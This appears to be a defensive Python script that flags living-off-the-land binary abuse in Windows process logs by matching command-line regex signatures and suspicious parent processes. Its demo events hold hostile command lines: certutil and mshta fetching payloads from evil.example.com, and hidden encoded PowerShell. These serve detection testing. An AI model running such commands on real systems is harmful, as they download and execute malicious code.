Files
Anthropic-Cybersecurity-Skills/skills/detecting-living-off-the-land-attacks/scripts/agent.py
T

223 lines
8.0 KiB
Python

#!/usr/bin/env python3
"""Living off the land (LOLBin) attack detection agent.
Monitors process creation logs for suspicious use of legitimate Windows
binaries, correlates with LOLBAS project data, and flags anomalous
command-line patterns and parent-child process relationships.
"""
import argparse
import json
import os
import re
import sys
import datetime
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
LOLBIN_SIGNATURES = {
"certutil.exe": {
"suspicious_args": [
r"-urlcache", r"-split", r"-decode", r"-encode",
r"-verifyctl", r"http[s]?://",
],
"mitre": ["T1140", "T1105"],
"description": "Certificate utility abused for file download/decode",
},
"mshta.exe": {
"suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"],
"mitre": ["T1218.005"],
"description": "HTML Application host used for script execution",
},
"rundll32.exe": {
"suspicious_args": [
r"javascript:", r"shell32\.dll.*ShellExec_RunDLL",
r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX",
],
"mitre": ["T1218.011"],
"description": "DLL loader abused for proxy execution",
},
"regsvr32.exe": {
"suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"],
"mitre": ["T1218.010"],
"description": "COM registration utility abused for script execution",
},
"msbuild.exe": {
"suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"],
"mitre": ["T1127.001"],
"description": "Build tool abused for code compilation and execution",
},
"installutil.exe": {
"suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"],
"mitre": ["T1218.004"],
"description": ".NET install utility abused for code execution",
},
"bitsadmin.exe": {
"suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"],
"mitre": ["T1197", "T1105"],
"description": "BITS service abused for file download and persistence",
},
"wmic.exe": {
"suspicious_args": [
r"process\s+call\s+create", r"os\s+get", r"/node:",
r"shadowcopy\s+delete",
],
"mitre": ["T1047"],
"description": "WMI command-line abused for execution and recon",
},
"cscript.exe": {
"suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"],
"mitre": ["T1059.005", "T1059.007"],
"description": "Script host executing VBS/JS from unusual location",
},
"powershell.exe": {
"suspicious_args": [
r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass",
r"-WindowStyle\s+Hidden", r"Invoke-Expression",
r"IEX\s*\(", r"Net\.WebClient", r"DownloadString",
],
"mitre": ["T1059.001"],
"description": "PowerShell with obfuscation or download cradle",
},
}
SUSPICIOUS_PARENTS = {
"winword.exe": "Office application spawning child process",
"excel.exe": "Office application spawning child process",
"outlook.exe": "Email client spawning child process",
"powerpnt.exe": "Office application spawning child process",
"wmiprvse.exe": "WMI provider executing child process",
"svchost.exe": "Service host spawning unexpected child",
}
def analyze_process_event(process_name, command_line, parent_name=None):
"""Analyze a process creation event for LOLBin abuse."""
findings = []
proc_lower = process_name.lower()
cmd_lower = command_line.lower() if command_line else ""
sig = LOLBIN_SIGNATURES.get(proc_lower)
if sig:
matched_patterns = []
for pattern in sig["suspicious_args"]:
if re.search(pattern, cmd_lower, re.IGNORECASE):
matched_patterns.append(pattern)
if matched_patterns:
findings.append({
"type": "lolbin_abuse",
"binary": proc_lower,
"description": sig["description"],
"mitre_techniques": sig["mitre"],
"matched_patterns": matched_patterns,
"command_line": command_line[:200],
"severity": "HIGH",
})
if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS:
findings.append({
"type": "suspicious_parent",
"parent": parent_name.lower(),
"child": proc_lower,
"description": SUSPICIOUS_PARENTS[parent_name.lower()],
"severity": "HIGH",
})
return findings
def scan_process_log(log_entries):
"""Scan a list of process creation log entries."""
all_findings = []
for entry in log_entries:
findings = analyze_process_event(
entry.get("process_name", ""),
entry.get("command_line", ""),
entry.get("parent_name"),
)
if findings:
entry_result = {"event": entry, "findings": findings}
all_findings.append(entry_result)
return all_findings
def fetch_lolbas_data():
"""Fetch LOLBAS project data from GitHub."""
if not HAS_REQUESTS:
return {"error": "requests not installed"}
url = "https://lolbas-project.github.io/api/lolbas.json"
try:
resp = requests.get(url, timeout=15)
if resp.status_code == 200:
data = resp.json()
return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]}
return {"error": f"HTTP {resp.status_code}"}
except Exception as e:
return {"error": str(e)}
def main():
parser = argparse.ArgumentParser(
description="Detect living off the land (LOLBin) attacks"
)
parser.add_argument("--log-file", help="JSON file with process creation events")
parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] Living Off the Land Attack Detection Agent")
print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}")
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
if args.fetch_lolbas:
lolbas = fetch_lolbas_data()
report["lolbas_project"] = lolbas
print(f"[*] LOLBAS data: {lolbas}")
if args.log_file and os.path.isfile(args.log_file):
with open(args.log_file) as f:
events = json.load(f)
results = scan_process_log(events)
report["findings"] = results
print(f"[*] Events analyzed: {len(events)}")
print(f"[*] Suspicious findings: {len(results)}")
else:
demo_events = [
{"process_name": "certutil.exe",
"command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe",
"parent_name": "cmd.exe"},
{"process_name": "mshta.exe",
"command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')",
"parent_name": "winword.exe"},
{"process_name": "powershell.exe",
"command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...",
"parent_name": "excel.exe"},
{"process_name": "notepad.exe",
"command_line": "notepad.exe C:\\Users\\admin\\notes.txt",
"parent_name": "explorer.exe"},
]
results = scan_process_log(demo_events)
report["findings"] = results
print(f"\n[DEMO] Analyzed {len(demo_events)} process events")
for r in results:
for f in r["findings"]:
print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} "
f"- {f['description']}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES),
"findings": len(report.get("findings", []))}, indent=2))
if __name__ == "__main__":
main()